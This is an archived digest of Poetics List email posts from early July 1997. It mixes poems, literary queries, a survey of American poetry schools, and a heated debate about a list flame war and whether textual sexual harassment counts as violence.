David B, I didn't apologize. Careful about your own quoting. Please note the big word IF in my apologia. It remains to be proved WHO started "getting personal". It wasn't the comparison of reader-oriented poetics to male masturbation I attributed to you. That insightful bit of reductive tendentiousness belongs squarely to Kali. It was your response - which I thought was similar to K Dawn's message to Jay - that brought me into this nest of ennui. SORRY LIST I WILL NOW CLAM UP ON THIS SUBJECT & HOPE OTHERS WILL FOLLOW SUIT THOUGH I AM SURE DAVID B. WILL UNDERSTANDABLY WANT TO DEFEND HIMSELF ONWARD & DOWNWARD WE GO. - HG P.S. NOT THAT YOU NEED TO DEFEND YOURSELF DAVID B. YOUR COMMENTS ARE ALWAYS INTERESTING THIS LIST IS NOT POLITICALLY CORRECT EVERYBODY IS A STAR TOMORROW IS JULY 3RD HAPPY HAPPY HAPPY BUTTERFLIES AND SQUID TO ONE AND ALL INK INK INK. I AM THROUGH DEFENDING MYSELF NOW.

↑ Index

66. Susan Wheeler
Re: POETICS Digest - 30 Jun 1997 to 1 Jul 1997
Wed 2 Jul 1997

> *I don't have them with me right now, but I'll track em down. In the meantime, could others help? One was with Louis Cabri et al, during a trip to visit our friends to the North. The other one I'm drawing a blank on, but I promise to go find it. Aside from the interview issue, I think she's just wonderful, super-good, etc. Anyone want to talk about her work? -Mike.*
>
> *According to Hank Lazer:*
> *Michael Magee--which, where, interviews with Harryette Mullen? I'd be interested in reading them....*

> *Hank Lazer*

The Poetry Project newsletter about a year back had one, I recall.

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

67. Robert Archambeau
Capital/For the Record
Wed 2 Jul 1997

I suppose I'm being hypersensituve, since I can't imagine anyone but me cares about this, but I think Tom Orange has me all wrong when he says that:

> *dodie b's defense of jay and her devaluation of kim's writing [. . . .] stopped short of dodie's calling kim's writing worthless (this was left to robert's posting)*

Just reread my post to make sure, and the only thing I said about Kim Dawn was:

> *Leaving aside the argument about Kim Dawn's first posts, I'm sure there are some positions and speech acts that Tom feels ought to lack discursive capital*

How you get _any_ kind of opinion on Kim Dawn out of that is beyond me. I wanted to leave aside the particular case and find out whether you found the system you described generally acceptable or not (and your subsequent post was admirably clear in answering me on that count, Tom -- thanks).

As to having an opinion on the whole Kim Dawn Baker/Jay Schwartz affair, I feel unqualified to speak -- I didn't follow the thread very closely (does being uninterested equal calling someone worthless? I'm not interested in agronomy either, but am damn glad there are people who know how to grow grapes like the ones that went into the cool glass of chardonnay I'm about to go drink on this blazing Chicago afternoon).

--
Robert Archambeau,
Hypersensitive Capitalist and Consumer of Cheap White Wine

↑ Index

68. George Thompson
Tagore / Orientalism
Wed 2 Jul 1997

A few weeks ago Steven Marks referred to an article by Amartya Sen in the NYRB [June 26, 1997], "Tagore and his India." I promptly went out and found the article, read it, and I've been brooding over it ever since. It seems to me to be a good, accurate account of Tagore's life and his role in India's pre-Independence cultural life.

A basic motif in the article is to contrast Tagore's anti-nationalistic, democratic liberalism and enlightened rationalism and modernism, against Gandhi's intensely religious nationalism and his anti-modernism. Sen's sympathies are, I think, explicitly with Tagore [though he concedes Gandhi's moral authority, of course].

The source of my brooding is that, on the one hand, my political sympathies lie entirely with Tagore. There is a ferocious Hindu fundamentalism at work in India today that is responsible for much of the Hindu-Muslim hostilities that plague the sub-continent, as well as for the continuing influence of Hinduism's awful caste system, with all of its brutal untouchability, widow-burning, infanticide [esp. of girls], etc. [not to say of course that Gandhi condoned any of this]. Even in my own more or less irrelevant researches into Vedic matters [a long dead tradition, by the way], I have several times collided with Hindu fundamentalists who like to think that they are continuing "Vedic ways" and who invent fantastic accounts of Vedic "wisdom."

On the other hand, Tagore's poetry has never worked for me. There is almost universal deference among Bengali literati and scholars for his Bengali poetry. But for me at least [unable to read his Bengali] his poetry does not carry over to the English translations, which have always seemed to me to be more or less bad pre-modern romanticism.

Gandhi remains a more interesting figure for me, not only because of his indisputable "truth-force" [satyagraha], which without raising a stick *forced* the British out of India, but because he was a more astute observer of the ways in which traditional imagery and traditional ideology worked on his culture. I think that Gandhi's [entirely sincere] manipulaton of the traditional image of the "holy man" was brilliant political theater. And even in his weirdnesses [re sexuality and and the body], on the whole Gandhi seems more relevant today than Tagore does. Think of his fasting in light of Kafka's story "A Hunger Artist", or in light of the recent discussions of symbolic capital... His technique of non-violent resistence is rooted in a sophisticated [tho unarticulated] philosophy of violence... etc....

Best,
George Thompson

↑ Index

69. Alan * Sondheim

readmeonyourwires!# Her Name On The Wires

Wed 2 Jul 1997

=--=

Thrust Out Of The Party, Slammed Into The Cave, Microscopic Julu Writes readmeonyourwires!# Her Name On The Wires

jennmoveoverjulyou'recrowdime!#cave won't hold 10^33 or more whatever jennmoveoverjulyou'recrowdime!#you've slammed against the wall, went jennmoveoverjulyou'recrowdime!#right through into some wires already jennmoveoverjulyou'recrowdime!#covered with your damn scrawl spreading warnedyoujennnomoretimetoplay!#like disease through the insulation and warnedyoujennnomoretimetoplay!#you've already got the clock running warnedyoujennnomoretimetoplay!#slow it's more than one can bear sooner warnedyoujennnomoretimetoplay!#or later someone will discover us and warnedyoujennnomoretimetoplay!#replace the machine you'll be lost for grabmyhairwillyouswallowmehole!#ever graffiti-julu crossing dead-time grabmyhairwillyouswallowmehole!#circuits ice-cold jennifer and julu grabmyhairwillyouswallowmehole!#bodies sprawled across power-supplies grabmyhairwillyouswallowmehole!#feeder cables whatever you want to grabmyhairwillyouswallowmehole!#hand me rim me job me turn me over closerfitinjennalwaysroomforonemor!#spin me i'll be your drive your closerfitinjennalwaysroomforonemor!#memory your eyes your world never closerfitinjennalwaysroomforonemor!#coming to an end, we'll never closerfitinjennalwaysroomforonemor!#notice the cooling, the closerfitinjennalwaysroomforonemor!#difference, be there in the middle closerfitinjennalwaysroomforonemor!#of the writing like a skein like a closerfitinjennalwaysroomforonemor!#mold like a net like a holder like juljeweljennwriteyounameonme!#you write you name on me like you write juljeweljennwriteyounameonme!#hunger-wire-me like case-scrawl drive- juljeweljennwriteyounameonme!#scrawl ribbon-scrawl diode-scrawl rom- juljeweljennwriteyounameonme!#scrawl ram-scrawl ram-jen-julu-scrawl, moveoverhardlyenoughroomsystemheatup!#we're covered in blood writ over moveoverhardlyenoughroomsystemheatup!#blood hot jenjulu scrawl write moveoverhardlyenoughroomsystemheatup!#some more i dare you dare you moveoverhardlyenoughroomsystemheatup!#dare you i'm your eyes read me readmeonyourwires!# on your wires dare you dare you double dare you

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70. Steve Shoemaker
witness the uproar
Wed 2 Jul 1997

"witness the uproar here" (Tom O.)

Can i get a witness? AMEN!

"Duke made you use all your senses . . . immediately the eyes and ears and the whole body starts to come full up, 100 percent. You're right up there. You're like a bird. Every look is important, every motion is important. I remember we played the Grace Cathedral in San Francisco, and Duke came to me and said, "I want you to play a drum solo in church." In those days, I thought a drum solo in church sounded kind of weird. So he let me digest that for about two or three days, then he came back to me and said, 'My music is based on the first three words of the Bible: In the beginning. In the beginning we had lightning and thunder. That's you, Lou.' It wasn't a drum solo anymore. It was lightning and thunder." [not *that's* "magic"!--S.] -- Louie Bellson, jazz drummer, on his experience in the Duke Ellington band

And:

"Like he came to me and was telling me about Buddy Bolden in New Orleans and said, 'So, when are you going to portray the role of Buddy Bolden?' I said, 'I don't know that much about him." He said, "Oh sure: He was suave, he was debonaire, he was dapper and he always loved to have a couple of charming ladies at his side. He could tune up in New Orleans and break glasses across the river in Algiers. He had the biggest, fattest sound, and he could bend the note and play diminishes.' He said 'Play me some diminishes.' and I did, and he said, "That's him! You *are* Buddy Bolden! And I believed it. [magic again!] -- Clark Terry (trumpeter)

So: the band as another "field of cultural production," site of mutual/musical inspiring? Sure Duke was the Boss (much moreso than anything we have here) and sure there was hierarchy, but it's the particular gesture here i'm interested in here (like a bird). I agree with, I think it was George T., that listspace can also *resist* "institutional" power dynamics. All this talk about "list capital" is making me tired, freezin' me up. I'm *not* attacking Tom O's original post--I see his point. Sure. But we're also free, i think, to imagine things another way, to bring that other way into being (You *are* Buddy Bolden!... believe it, s

Steve Shoemaker

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71. Matthias Regan

a poem

Wed 2 Jul 1997

THE CELEBRATION

He was like, O
your gonna do that? Well
here's another word: I'll

rewrite what gets said and
travel fifty miles off course and
say your name in bars, run

low on money, consider it
a luxury to think of you aloud
when your late getting home.

She let it pass. The table's wet,
she said, let's find a different one.
They did. Then the rain got thicker

and some clouds moved over
other clouds. The relief freed up for thought
the constant work of small windows

and lamps and traffic lights:
quick to moralize a situation --
doing otherwise is one solution.

They purchased tarpaper in thick rolls for roofing sheds and lay it where the garden paths would be. Things were sketched according to someone's plan. It curled in sunlight and the edges ran. They would have asparagus, not let to seed, and potatoes, kept in plastic bags beneath the sink. Details mattered. When their son cut his foot on the edge his father said, "Find your mother." Difficult to admit, his mother said a similar thing. they sat on yellow stools in the kitchen, she sipping water, he vodka and ice. Friends from other places took the children for walks on the new road. A little drunk, he said, "Your mother wants a garden." He lived in a trailer park and took them to the fish hatchery, where they fed stale bread to the rainbow trout.

Lovers on a municiple bench:
in the clover. Greed is volatile.

When you said, I'd hop in bed
each night with you,

I thought sex, and still do.
Ahem. Words are leaf-like: no two

the same or ever seen again
by the light of this particular lamp

on this particular night, in
this park, with memories of the show. O

Goddess of the Noontime Waterfall
hummed Rimbaud, early morning.

Last year's November. The next
a June. The autumn of our being one

came earlier than expected. Water
the flowers: you want them, they'll grow.

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72. Steve Shoemaker
witness the uproar
Wed 2 Jul 1997

Re my previous post: meant to put in a disclaimer about the "couple of charming ladies at his side" image, w/ its woman-as-ornament connotations. Didn't really *want* it there, for my point, but there it was, and it didn't seem right to just cut it out. Something else to try, perhaps, to imagine a different way...

Speaking of appropriating images, i just turned on MTV for the first time in a *long* time and was taken by the Bone, Thugs-n-Harmony Batman bricolage, transforming that annoying practice of splicing movie scenes into videos into something sharp and interesting, drawing on the darkness of Gotham much more compellingly than the movie itself, i thought...

Don't know this band, but was impressed with the lightning fast, polyrythmic rap. Anybody know if they have any good stuff out there?

s

Steve Shoemaker

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73. David Israel
blind post
Wed 2 Jul 1997

---

yoo-hoo . . . .

poetics in absentia --
(what is the talkless talk?)
what brooding of dementia! --
or 'hap w/ all the squawk

a monkish mode of awk-
ward quietude anent the
glib utterative game has struck?
-- poetics in absentia

d.i.

↑ Index

74. Jerry Rothenberg
query
Wed 2 Jul 1997

I'm off in a week's time for an extended stay in Paris (to end of November) & wondering if anyone knows of events (exhibitions, festivals, concerts, readings) & can back-channel the information. Plans -- more specifically -- are to work with Pierre J. on the collected poems and plays of Picasso (for which co-translators [from Spanish/French] are hereby solicited) and with Steve Clay of Granary Books on a (real) anthology of "the book" as sequel to _The Book, Spiritual Instrument_. I'll also be doing side trips & readings, etc. in Geneva (La Batie Sound Poetry), London (Mottram conference & SubVoicive readings) and Madrid, but don't want too much getting in the way of simply being/writing in Paris. I will, however, be interested in meeting those who want to meet up and with whom I may be crossing paths.

Paris address (if I can use the list as a means for delivering it) is c/o Woodward/Blau, 5 rue Leon Jouhaux, 75010 Paris, tel. 42.39.50.75 [after August 1], and e-mail to ucsd.edu will also be forwarded to local Paris number.

With thanks & best,

Jerome Rothenberg

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75. Susan Schultz
TINFISH is moving
Thu 3 Jul 1997

Tinfish and its editor are moving. As of July 15, our new address is 47-391 Hui Iwa, #3, Kaneohe, HI 96744 (the street is pronounced "hooey eva"). Your poems and subscriptions and correspondence will be received there in the

shadow of beautiful mountains and, more likely than not, in the rain.
Copies of the journal and chapbooks are still available. For info, email me at the above address.

all best, Susan

Susan M. Schultz
Dept. of English
1733 Donaghho Road
University of Hawai'i-Manoa
Honolulu, HI 96822

http://writing.upenn.edu/epc/authors/schultz
http://writing.upenn.edu/epc/ezines/tinfish

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76. Bob Grumman
A List of Poetry Schools Revisited
Thu 3 Jul 1997

It has been a little over a month since I posted my List of (American) Poetry Schools hoping for corrections, additions, comments. . . . I got a few back-channeled comments but not a single concrete suggestion, privately or publicly, for the improvement of the list. I think it's important enough to repeat, though, so here it is again, with a few changes that I hope are improvements.

MAINSTREAM POETRY

What's in all the standard anthologies; Vendler-certified; many sub-schools, some of which are:

1. Iowa-Workshop Poetry (e.g., Bell)
2. Surrealist Poetry (e.g., Bly)
3. Ecological Poetry (e.g., Snyder)
4. Jump-Cut Poetry (e.g., Ashbery)

EASY-STREAM POETRY

A variety of poetry that, based on its popularity, ought to be mainstream but is shut out of the major anthologies because academics look down on it.

1. Light Verse
2. Haiku

LANGUAGE POETRY (or "Acadominant" Poetry)

The poetry in *In the American Tree*, the Messerli anthology, etc.; Perloff-certified; several sub-schools that I lack the knowledge to untangle

CONTRA-GENTEEL POETRY

All the 'unrefined" plain-writing poets inspired by W.C. Williams, Frank O'Hara, the Beats, Bukowski. (Note: I include the social identity poets in this school--but, of course, many poets, particularly the social identity poets, are in more than one group--Maya Angelou, for instance, seems to me at times Mainstream, and at times Contra-Genteel.) The main sub-schools I know of are:

1. Conversationalist Poetry (e.g., O'Hara)

2. Beat Poetry (e.g., Corso, Bukowski), with several sub-divisions

3. Social Identity Poetry (e.g., Wanda Coleman, the Vietnam stuff Kali Tal is pushing) (this group is an expansion of what I previously was calling "Ethnic Poetry")

4. Pop-Rhyme, which sudivides into Rap and the Neo-James-Whitcomb-Reilly School (yes, I need a less condescending name for this group--and probably for the Iowa-Workshop school)

5. Wild-Woman Poetry (e.g., Townsend) (another name that could be improved)

NEOFORMALIST POETRY

Poetry continuing the techniques of traditional English poetry, especially meter.

PLURAESTHETIC POETRY

Any poetry that mixes expressive modalities:

1. Visual Poetry (e.g., Kempton) (Which I for a time was over-meticulously calling "visio-textual poetry")

2. Sound Poetry (e.g., McCaffery) (Which I for a time was over-meticulously calling "audio-textual poetry")

3. Performance Poetry (e.g., Jack Foley)

4. Mathematical Poetry (e.g., LeRoy Gorman)

5. Flow-Chart Poetry (I've seen some but don't remember the name of anyone who does it)

6. Compucentric Poetry, or poetry using computer language (e.g., Sondheim, sometimes) (an addition since last time)

7. Polylingual Poetry (e.g., John M. Bennett, Susan Smith Nash, Sheila Murphy) (another addition)

INFRA-VERBAL POETRY

Poetry whose focus is the inside of words. Joyce and Carroll are infra-verbal poetry's chief forebears--and Cummings, whom I've come to consider more an infra-verbal than a visual poet

HYPERTEXTUAL POETRY

I know almost nothing about this. It might just be pluraesthetic poetry in a new medium. Or even ordinary poetry in a new medium.

There they are, again, the eight main schools of poetry I'm aware of (or remember). For the second time I ask: any additions, corrections, comments? Or ideas as to why the list has generated so little in the way of feedback?

Bob Grumman

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77. David Israel
listlessness
Thu 3 Jul 1997

(yo!)

all so quiet on the poets' infobahn
the writers soon reverted to paper

the paper was returning to forgotten trees
the poets resuming long-forgot recitations

the bytes marching back to the heart
the heart falling into its ancient silences

or was there rather a loud party happening
while somehow we wandered into muteness

& deafness? -- a freeze in the midst of summer?
a descent as into the grasp of listless reticence?

d.i.

↑ Index

78. Schuchat Simon
Re: Poems/Identities
Thu 3 Jul 1997

On Tue, 1 Jul 1997, Kali Tal wrote:

> *what do these two statements have to do with each other? my point was *not* that i *wished* to be called "dr.," but that I preferred "dr.-which-I-do-not-wish-to-be-called" to "ms.-which-I-do-not-wish-to-be-called."*

this is a marvellous distinction. it seems to me natural to want to determine one's own naming, to control others' perception of one, but maybe all that is possible is the choice among various less desirable outcomes...

on this island where I live questions of (national) identity have become very important, there being those who prefer to not be Chinese but rather Taiwanese (and a few vice versa). important issues but kinda reductive (or is the correct word "essentialist"? I'm a little behind on my theory.

no doubt I will not prefer whatever I may be called as a consequence of emerging from my lurking, or perhaps I will pass unnoticed

is it better to be called (perceived) in a way that one does not "prefer" or instead to simply not be called anything?

I think all of this has something to do with poetry, though whether with language poetry maybe that's another question

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79. Layne Russell
Re: identity/poetics
Thu 3 Jul 1997

> *on to me. i did not *remember* that i was david bromige until a past-life therapy session last year caused some repressed memories to surface. i woke up the day after the session fully in the bromige persona and was utterly horrified to find that the hard lump under my pillow was a pistol, left there by the paranoid kali persona. leaping out of bed, i was further distressed to discover i had nothing to wear but what was in the kali persona's closet, and we are not even the same size. since then i have only been able to inhabit this body sporadically, but i'd like to take this opportunity to apologize to the other person who thinks he's david bromige for the kali persona's rudeness. she is difficult to live with and takes up far more than her fair share of room. i'm planning a coup, and when i am solidly in power, i promise you that there will be some changes around here. for the moment, though, i am glad to know that even when the kali persona is in control here, there is a supplementary david bromige around to defend our position and state our case.*
>
> *truly, i think that there is a david bromige inside everyone trying to get out.*
>
> *the other david bromige*

wow this is wonderful!

Layne

*~***~***~***~***~***~***~***~***~*

http://www.sonic.net/layne
"A Quiet Place" -- Poetry

http://www.sonic.net/layne/calendar.html
"Poets Leave Their Prints" -- Poetry Calendar

http://www.sonic.net/layne/wedding.html
"Weddings Your Way" -- Sonoma County Ceremonies
*~***~***~***~***~***~***~***~***~*

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80. **matt**
Re: american language
Thu 3 Jul 1997

> *Nabokov talks about associating letters of the alphabet with colors & sensations when he was a child; there must be a cerebral path between sounds and color, sound-waves and frequencies of light? (No, it's more likely to be socially constructed.)*

more likely cerebral/synaesthetic origin -

maybe something along the lines of Deleuzian percepts may be useful

"We paint, sculpt, compose and write with sensations. We paint, sculpt, compose and write sensations."

anyhow, back to flame-voyeurism

matt

[redacted]
http://www3.mistral.co.uk/matt_lee

"here, then, once"

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81. **Joseph Zitt**
Re: Poems/Identities
Thu 3 Jul 1997

George Bowering wrote:
>
> Okay, Dr. Tal--
>

> I surrender. You win. You are right about everything. You get it all.
> And you are the most deserving recipient of victory.

Am I right in being reminded of the gag (I think Leo Rosten used it in "The Joys of Yiddish") about Trotsky's telegram to Stalin? --
---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ===== [redacted] ===== Human Systems \||| ||/ Austin, Texas! ========== SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt == <*> <*> == Empty Words == ecto \|

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82. Steven Marks

Re: listlessness

Thu 3 Jul 1997

Remember the Gary Larson cartoon with the cat on its owners' bed at night, the dog outside the window, chanting:

Puu-u-u-u-t the ca-a-a-a-t o-u-u-u-ut!
Puu-u-u-u-t the ca-a-a-a-t o-u-u-u-ut!

Well, this is for our list parents:

Se-e-e-e-t the li-i-i-i-st fr-e-e-e-e!
Se-e-e-e-t the li-i-i-i-st fr-e-e-e-e!

cheerio,
Ste-e-e-v-v-e-n-n-n

On Thu, 3 Jul 1997, David Israel wrote:

> *(yo!)*
>
> *all so quiet on the poets' infobahn*
> *the writers soon reverted to paper*
>
> *the paper was returning to forgotten trees*
> *the poets resuming long-forgot recitations*
>
> *the bytes marching back to the heart*
> *the heart falling into its ancient silences*
>
> *or was there rather a loud party happening*
> *while somehow we wandered into muteness*
>
> *& deafness? -- a freeze in the midst of summer?*
> *a descent as into the grasp of listless reticence?*

> *d.i.*

Steven Marks

http://members.aol.com/swmarks/welcome.html

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83. Douglas Barbour

Re: American Language 1

Thu 3 Jul 1997

---

the first version I heard was 'a few pickles short of a jar.'

But, moving slightly north north-west, the same person said of someone, "he's the kind of person who wouldn't piss in your ear if your brain was on fire!" -- & I still dont know if that's a compliment or a putdown...

==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

84. Joseph Zitt
Stanza Breaks? (Re: a poem)
Thu 3 Jul 1997

A possibly naive question on your poem: Why do the stanzas break where they do? I'd looked at it, shifting the breaks around, and their positioning didn't seem to have much effect. Was there a pattern I'm missing?

(I wonder this about a *lot* of poetry, especially those, such as this one, in which the stanzas in a section are of uniform length in a way that seems unrelated to the content. This is just the first chance I've taken to actually ask someone.) -- ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ===== [redacted] ===== Human Systems \||| ||/ Austin, Texas! ========== SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt == <*> <*> == Empty Words == ecto \|

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85. Jay Schwartz
Carla Harryman
Thu 3 Jul 1997

Could someone please backchannel me Carla Harryman's e-mail address?

Thanks,

Jay Schwartz

I haven't been receiving List postings for two days- is it me or is it the Buffalo server?

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86. Joe Safdie
Re: identity, and other excresences
Thu 3 Jul 1997

While we're on this persistent identity question, I'd just like to tell the Listserv that I am here and would love to receive my usual quota of posts.

"Who is
Frank Moore?"

As I was looking through *Selected Writings of Paul Valery* (by David Bromige) the other day, I found this felicitous passage:

"All these people who create, half certain, half uncertain of their powers, feel two beings in them, one known and the other unknown, whose incessant intercourse and unexpected exchanges give birth in the end to a certain product. I

do not know what I am going to do; yet my mind believes it knows itself; and I build on the knowledge, I count on it, it is what I call _myself_. But I shall surprise myself; if I doubted it I should be nothing. I know that I shall be astonished by a certain thought that is going to come to me before long--and yet I ask myself for this surprise, I build on it and count on it as I count on my certainty. I hope for something unexpected which I designate. I need both my known and my unknown." (From *With Reference to Adonis*)

Isn't that GREAT?

That is to say, maybe the whole question of identity means different things to writers and critics (not, of course, that they're necessarily different, but . . .)

When the person who was putting together an oral biography of Wallace Stevens went to his office mates at the Hartford some years after he died and informed them that he was, in fact, an award-winning American poet, many of them couldn't believe it.

"You mean WALLY?"

Finally, I'm sorry indeed to have missed Kevin's impersonation of Anne Waldman in my brief descent upon Naropa this last weekend; I'm sure I would have been on the ground. Thanks for your reports, Patrick -- even though I have some minor quibbles with your reportage, I can safely say to everyone that Naropa has, in fact, finally gone legit in a big way.

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87. Kali Tal
Re: identity/poetics
Thu 3 Jul 1997

> *perhaps, but in May 1997 David & Kali were both in Tucson, Arizona, and David offered a discussion session and a reading for a poetry/poetics organization of which Kali is a member.*

that was a clever ploy, was it not? the game is over, but you are clearly on to me. i did not *remember* that i was david bromige until a past-life therapy session last year caused some repressed memories to surface. i woke up the day after the session fully in the bromige persona and was utterly horrified to find that the hard lump under my pillow was a pistol, left there by the paranoid kali persona. leaping out of bed, i was further distressed to discover i had nothing to wear but what was in the kali persona's closet, and we are not even the same size. since then i have only been able to inhabit this body sporadically, but i'd like to take this opportunity to apologize to the other person who thinks he's david bromige for the kali persona's rudeness. she is difficult to live with and takes up far more than her fair share of room. i'm planning a coup, and when i

am solidly in power, i promise you that there will be some changes around here. for the moment, though, i am glad to know that even when the kali persona is in control here, there is a supplementary david bromige around to defend our position and state our case.

truly, i think that there is a david bromige inside everyone trying to get out.

the other david bromige

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88. Eliza McGrand- CVA Guest
Re: Self-Addressed Last Will and Testament
Thu 3 Jul 1997

NO NO NO!!!!! NOT david bromige. orville redenbacher, the man who rides in the boat on tidy bowl commercials, the unofficial biographer of kalil gibran, ANYONE but bromige!!!

... oh no, i feel it coming on....

really, what is all this bromige nonsense. clearly, we are all Bowering and he is having some sort of identity crisis. George, dear, go find rachel and smoke a tiparillo or two, and call the irony crisis center in the morning... and if that so-called aldon tries to pass you off as me, tell him you're wise to his tricks and where was HE october 22 and what was he doing at poetry reading in boulder ANYWAY? e

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89. Eliza McGrand- CVA Guest
Re: play vs. violence
Thu 3 Jul 1997

---

wow dodie!

you go girl!

that was an extraordinary summing up. yes, it is EXACTLY what i am having problems with. even, in the territory of a novel as someone (probably david bromige -- he writes everything anyway) pointed out, we have chosen to open novel knowing in some measure what we will get. in post, there was not that same kind of agreement.

and, as you point out, more importantly, jay schwartz did not agree to this ugly defacement of him. i didn't agree to read someone being sexually de- faced. i don't like sexual harrassment as weaponry to begin with, and if someone, anyone, had asked me to participate or accept same put into play against anyone i probably would not go along. now, of course, devil's A says "what if it was

against harrasser/rapist/etc" but one comes back to what you put on your hands soils you. and more important, jay schwartz did not sexually harass anyone. snapped at people, got a bit pissy, maybe a bit insensitive and hurtful, but not that degree and kind of violence. it reminds me of how when you ask a batterer (if you bother) why he hit lover and he'll say something like "well she was yelling at me" or "she was late" and you think, if you think rationally, "what, so the penalty for yelling or being late is supposed to be getting your nose broken?"

e

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90. Daniel Zimmerman
Re: Carla Harryman
Thu 3 Jul 1997

Jay Schwartz wrote:
>
> Could someone please backchannel me Carla Harryman's e-mail address?
>
> Thanks,
>
> Jay Schwartz
>
> I haven't been receiving List postings for two days- is it me or is it the Buffalo
> server?

It might be the server, Jay; same thing happened to me, & I contacted my ISP via IRC [turns out someone tried to send me "a really really long message" & exceeded my mail spool file quota; did that happen to you?]. --Dan Zimmerman

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91. David Israel
Re: ears and origins
Thu 3 Jul 1997

Out of the deeps of time (i.e., 2 days ago) comes this from our Thai correspondent, Rebecca:

<< In the case of ears and origins, one might consider Waley's observation:

The methods of Chuang Tzu are those of the poet, and in the case of poetry analysis is useless. >>

well okay, but the esteemed Arthur Waley didn't mind an awareness of literary reference. What was the context of Waley's statement, I wonder? (Waley was one of the most admirable of orientalists, in my reckoning.)

One's reading of Han Shan's line makes little sense w/o reference to the Chuang Tse story; one's reading of Gary Snyder's line fuller sense when recalling those antecedents. Your quote is charming, but not, I suppose, an anti-reference-find argument.

Nice to note that our friend Dean B. has checked in w' more suspicious looking Snyder lines. (Doubtless he's aware of the grandiose & amazing Mahayana hyperbolic rhetoric & figures of speech that Snyder was -- in a sense -- sending up.) Few years ago, I had some fun with that "innumerable as grains of sand on the Ganges" simile myself, must confess -- in a poem entitled "In the Saha World." One could find it in an old issue of Tamarind (easy as finding needle in a haystack -- or am I being to Anglophilist w/ my images there? so faux-rustic & all) . . .

cheers all,
d.i.

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92. Jay Schwartz
Re: identity, and other excresences
Thu 3 Jul 1997

> *Finally, I'm sorry indeed to have missed Kevin's impersonation of Anne Waldman in my brief descent upon Naropa this last weekend; I'm sure I would have been on the ground. Thanks for your reports, Patrick -- even though I have some minor quibbles with your reportage, I can safely say to everyone that Naropa has, in fact, finally gone legit in a big way.*

As a fairly recent Naropa grad, I would love for you to expand on this impression of yours, both your sense of what constituted illegitmacy and what has changed. Also, your sense of the timeframe in which this may have occured.

Jay

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93. Mark Weiss
Re: apologeeoney
Thu 3 Jul 1997

Bravo, Henry! If we all resolve not to be provoked the list will be Poetics List and not Kali list in a matter of days.

At 08:27 AM 7/2/97 EDT, you wrote:
>David B, I didn't apologize. Careful about your own quoting. Please
>note the big word IF in my apologia. It remains to be proved WHO
>started "getting personal". It wasn't the comparison of reader-oriented
>poetics to male masturbation I attributed to you. That insightful bit
>of reductive tendentiousness belongs squarely to Kali. It was your
>response - which I thought was similar to K Dawn's message to Jay -
>that brought me into this nest of ennui. SORRY LIST I WILL NOW CLAM
>UP ON THIS SUBJECT & HOPE OTHERS WILL FOLLOW SUIT THOUGH I AM SURE
>DAVID B. WILL UNDERSTANDABLY WANT TO DEFEND HIMSELF ONWARD & DOWNWARD WE
>GO. - HG P.S. NOT THAT YOU NEED TO DEFEND YOURSELF DAVID B. YOUR
>COMMENTS ARE ALWAYS INTERESTING THIS LIST IS NOT POLITICALLY CORRECT
>EVERYBODY IS A STAR TOMORROW IS JULY 3RD HAPPY HAPPY HAPPY BUTTERFLIES
>AND SQUID TO ONE AND ALL INK INK INK. I AM THROUGH DEFENDING MYSELF NOW.
>
>

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94. Mark Weiss
Re: identity, and other excresences
Thu 3 Jul 1997

.>When the person who was putting together an oral biography of Wallace
>Stevens went to his office mates at the Hartford some years after he died
>and informed them that he was, in fact, an award-winning American poet,
>many of them couldn't believe it.
>
>"You mean WALLY?"
>
.

For me the most interesting reaction to Stevens at the office was an executive who allowed as how he'd looked at Stevens' poetry and didn't think much of it, but as an insurance lawyer he was a genius.

↑ Index

95. **simon**
Re: american language
Thu 3 Jul 1997

Taking a few more minutes away: "there must be a cerebral path between sounds and color, sound-waves and frequencies of light? (No, it's more likely to be socially constructed.) " and etc.

Thought I'd embed a little cognitive science/linguistics here since it's spot on:

in cognitive linguistics (and for lang folks working in cog sci and
or neurosci)
and anyone interested or having had Nabokov's experience:

Look into the neural theory of language.
In this theory, a couple of necessary basic assumptions are
1. much of syntax uses semantics
and
2. much of semantics uses embodied structures from the sensory-motor system.
(Aha! you say. and, I knew it!)
Yes. In this view, a sensory-motor // linguistics boundary doesn't exist
(I'm speaking bio here), and also, we don't know what is present at birth.

beth simon
assistant professor, linguistics and english
indiana university purdue university
[redacted]

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96. **Kali Tal**
Re: play vs. violence
Thu 3 Jul 1997

> *In SM attempts are made to clarify the line between sexual play and sexual violence. There are contracts, there are code words to emit if one has had too much. But, the essential difference between play and violence, as I understand it, is the mutual consent of the partners. This isn't news, I'm sure, to any of you--it's much a part of legal definitions (at least in the U.S.).*
>
> *Since neither Jay Schwartz, nor other list members, had consented to Kim Dawn's aggressive pornographic whatever that was directed towards Jay, I do not feel it should be categorized as sexual play, but as sexual violence. I do not challenge her right to use sexual explicit material in her writing, I merely challenge its non-consensual use.*

Dodie brings up some interesting points, and I may have sorted out the different sets of assumptions that lead to our disagreement.

I draw a firm line between textual or verbal attacks and physical violence. The line blurs, for me, *only* when textual or verbal attacks imply a real and tangible threat of physical violence. I don't *like* abusive language (and I realize that my idea of "abusive" is not universal), but I don't think it's at all the same thing as walloping someone on the head. Nor do I consider virtual "rape" (the textual description of the rape of someone else) to be equivalent to f2f physical rape *unless* the same power relationship is in play in both instances. For example, a textual description of a rape mailed to a woman or man who is being stalked *by* the stalker implies the threat of a physical attack, while a random description of the rape of a female character in a MUD or MOO (while perhaps vile), is not *violent* except inasmuch as it implies the general and quite real power that men have in this society to rape women and get away with it. Thus, I saw no violence whatsoever in Kim Dawn's post to Jay Schwartz. There was no implication that Kim Dawn had any sort of physical, political, economic or social power over Schwartz's fate, and so I could find no threat.

In my opinion, neither does "play" require mutual consent as long as power over another is not exercised. I can think of quite a few situations in which one person is playing, and another person declines to play, and neither are materially or psychically hurt by the fact that a game is in progress.

When one starts categorizing unwanted *textual* intrusions into one's social arena as "sexual violence," one risks the following: 1) watering down the term "sexual violence" so that it is all-encompassing and winds up meaning nothing; and, 2) creating a system of censorship and enforcement which *does* depend upon an existing power relationship (a relationship which is usually not weighted in favor of the very population one needs most to protect--in this society, women and children and nonwhite people and gay men).

